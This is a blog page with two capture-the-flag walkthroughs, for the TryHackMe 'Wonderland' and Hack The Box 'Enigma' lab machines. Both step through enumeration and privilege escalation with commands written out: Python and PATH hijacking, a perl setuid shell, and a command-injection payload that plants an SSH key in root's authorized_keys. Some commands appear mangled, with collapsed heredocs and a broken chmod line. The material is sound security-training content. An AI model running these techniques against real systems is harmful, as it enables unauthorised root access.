THM-Wonderland Writeup

Muhammad Saad — Tue, 22 Sep 2026 20:23:03 +0000

Wonderland is a Linux privilege escalation room where the goal is to move through multiple low-privileged users and eventually gain root access. The room focuses on techniques such as web enumeration, SSH access, Python module hijacking, PATH hijacking, SUID binaries, and Linux capabilities

Active Recon

nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.48.186.218 -oN wonderland_nmap.txt
Open Ports: 22 (SSH) and 80 (HTTP)

Initial Access

Navigating to:
http://10.48.186.218/r/a/b/b/i/t/
The page source reveals credentials that can be used to obtain an initial SSH foothold.

After logging in, the user flag can be retrieved:
cat /home/root/user.txt

Privilege Escalation

1. Alice → Rabbit — Python Module Hijacking

sudo -l cat > /home/alice/random.py <<'EOF' import os os.system("/bin/bash") EOF sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

2. Rabbit → Hatter — SUID + PATH Hijacking

ls -la /home/rabbit/teaParty 
-rwsr-sr-x 1 root root ... teaParty

file teaParty 
ltrace -s 200 ./teaParty system("/bin/echo -n 'Probably by ' && date --date='next hour' -R")

mkdir -p /tmp/wonderland 
cat > /tmp/wonderland/date <<'EOF' #!/bin/bash /bin/bash EOF

chmod +x /tmp/wonderland/date 
export PATH=/tmp/wonderland:$PATH 
/home/rabbit/teaParty

3. Hatter → Root — Linux Capability Abuse

cat /home/hatter/password.txt 
ssh hatter@10.48.186.218 
getcap -r / 2>/dev/null 
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";' 
cat /home/alice/root.txt

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher

HTB-Enigma Writeup

Muhammad Saad — Mon, 21 Sep 2026 05:52:50 +0000

Enigma is an easy Linux machine on Hack The Box that requires chaining network file sharing, email enumeration, and local misconfigurations to achieve full system compromise.

Active Recon

nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.129.139.137 > enigma_nmap.txt

Open ports:
80, 110, 111, 143, 993, 995, 2049, 41393, 43313, 46985, 54279, 56515

Interesting service:
2049/tcp open  nfs  3-4 (RPC #100003)

NFS Enumeration

showmount -e enigma.htb

Export list for enigma.htb: 
/srv/nfs/onboarding *

Mount the NFS share:

sudo mkdir /mnt/enigma 
sudo mount -t nfs enigma.htb:/srv/nfs/onboarding /mnt/enigma
ls -la /mnt/enigma

-rw-r--r-- 1 root root 1751 Feb 20 2026 New_Employee_Access.pdf

The PDF contained webmail credentials:

URL:      http://mail001.enigma.htb
Username: kevin
Password: *******

From Kevin's mailbox, additional username was also discovered: sarah

Initial Access

The same password worked for Sarah's mailbox:

Username: sarah
Password: ******

Sarah's mailbox contained an OpenSTAManager access request:

URL:      http://support_001.enigma.htb
Username: admin
Password: ******

OpenSTAManager was running: Version: 2.9.8 (R5ff39df9b)

The application was vulnerable to file upload exploitation via:
CVE-2025-69212

This resulted in command execution as:
www-data

Low-Privilege Enumeration

After obtaining www-data, local listening services were enumerated:
ss -lntp

Interesting services:
127.0.0.1:3306
127.0.0.1:1337

MySQL credentials were found in the OpenSTAManager configuration:
cat /var/www/html/openstamanager/config.inc.php

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = '*******';

Connect to MySQL: mysql -h 127.0.0.1 -u brollin -p

USE openstamanager;
The zz_users table contained the haris user's password hash.
After cracking the hash, the credentials were discovered.
SSH access was then obtained as haris.
cat /home/haris/user.txt

Privilege Escalation

The service running on port 1337 was identified as OliveTin.
curl 127.0.0.1:1337

Since the service was bound to localhost, an SSH tunnel was created:
ssh -L 1337:127.0.0.1:1337 haris@enigma.htb

OliveTin configuration: cat /etc/OliveTin/config.yaml

The configuration contained a Backup Database action:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"

The db_pass parameter was vulnerable to command injection.

A harmless proof-of-concept was used first: test'; id > /tmp/olivetin_poc; echo '

Then: cat /tmp/olivetin_poc

uid=0(root) gid=0(root) groups=0(root)
This confirmed command execution as root.

Root Access

Generate an SSH key on Kali:

ssh-keygen -t ed25519
cat ~/.ssh/id_ed25519.pub

The public key was injected through the vulnerable db_pass parameter:

test'; mkdir -p /root/.ssh; echo '<YOUR_PUBLIC_KEY>' >> /root/.ssh/authorized_keys; chmod 600 echo '

Then connect as root:

ssh -i ~/.ssh/id_ed25519 root@10.129.139.137
whoami
root

Finally: cat /root/root.txt

Root obtained.

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher

DEV Community: Muhammad Saad

THM-Wonderland Writeup

Active Recon

Initial Access

Privilege Escalation

HTB-Enigma Writeup

Active Recon

NFS Enumeration

Initial Access

Low-Privilege Enumeration

Privilege Escalation

Root Access